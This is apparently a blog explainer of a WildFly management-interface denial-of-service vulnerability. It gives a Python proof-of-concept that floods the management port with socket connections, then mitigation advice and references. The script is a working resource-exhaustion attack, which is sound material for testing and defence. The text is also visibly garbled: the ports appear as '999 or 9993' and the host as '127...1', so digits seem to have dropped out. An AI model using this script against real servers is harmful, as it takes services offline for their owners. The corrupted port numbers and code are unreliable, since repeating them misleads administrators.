CVE-2024-4029 - WildFly Management Interface Denial of Service via Unrestricted Socket Connections

A new vulnerability, CVE-2024-4029, has been discovered in WildFly, the popular open-source application server used by enterprises worldwide. This security issue affects the management interface, potentially allowing attackers to cause a Denial of Service (DoS). In this longread, we explain how this vulnerability works, provide example exploit code, and offer remediation tips in clear and simple language.

What is CVE-2024-4029?

CVE-2024-4029 is a vulnerability caused by missing restrictions on the number of simultaneous socket connections to WildFly’s management console (usually accessible over ports 999 or 9993). Since there is no configuration to limit how many sockets can be opened, a malicious user (or even misconfigured scripts) can flood the server with connections. Once the number of socket file descriptors hits the system’s nofile limit, the WildFly process becomes unable to accept new connections—including legitimate admin and application requests.

In short: Anyone—without authentication—can take your WildFly management offline just by opening lots of connections!

Why Does This Happen?

Every open socket (network connection) uses a file descriptor on the underlying operating system. Most systems have a soft/hard limit for the number of file descriptors per process, checkable with:

ulimit -n

WildFly’s management socket does not limit the number of inbound connections. If a user simply connects thousands of times, the process will hit the nofile (number of open files) limit.

Proof-of-Concept: Simple Exploit

Below is a simple Python exploit script that demonstrates how an attacker might abuse CVE-2024-4029.

Disclaimer: This script is for educational and authorized testing only! Do not use it on systems you don’t own or have explicit permission to test.

import socket
import time

# Replace with your WildFly management address/port
HOST = '127...1'
PORT = 999

sockets = []

# Open 300 sockets to exhaust descriptors (adjust to exceed ulimit)
for i in range(300):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        sockets.append(s)
        print(f"Opened connection #{i+1}")
        time.sleep(.01)  # Small delay to keep server happy
    except Exception as e:
        print(f"Failed on connection #{i+1}: {e}")
        break

input("Press Enter to exit and close sockets...")
for s in sockets:
    s.close()

Official References and Patches

- Issue Tracker: WildFly JIRA - WFLY-20006
- CVE Database: NVD - CVE-2024-4029 (Information will update as it’s formally processed)
- WildFly Announcement: *Stay tuned to the WildFly Announcements for future patches.*

Immediate mitigations

- Firewall Restriction: Use network firewall rules to allow management interface access only from trusted IPs.

Reverse Proxy: Place a proxy (e.g., NGINX) in front, limiting max concurrent connections.

- System Tuning: You may increase ulimit -n as a stopgap, but this only delays the inevitable and is not a real fix.

Monitor: Use monitoring to alert for spikes in connections to the management port.

Long-term: Upgrade to a WildFly version that ships with a patch once available. Check release notes and apply CVE-2024-4029 fixes when released.

Conclusion

CVE-2024-4029 highlights how even well-configured servers can be vulnerable due to missing resource controls. Denial of Service doesn’t require fancy techniques—just a simple script and an open port. For WildFly admins, lock down your management interface and monitor connection counts. Always update WildFly when patches are released.

References

- WildFly Official Documentation
- CVE-2024-4029 at NVD
- Issue Tracker WFLY-20006

Timeline

Published on: 05/02/2024 15:15:07 UTC
Last modified on: 06/19/2024 21:51:16 UTC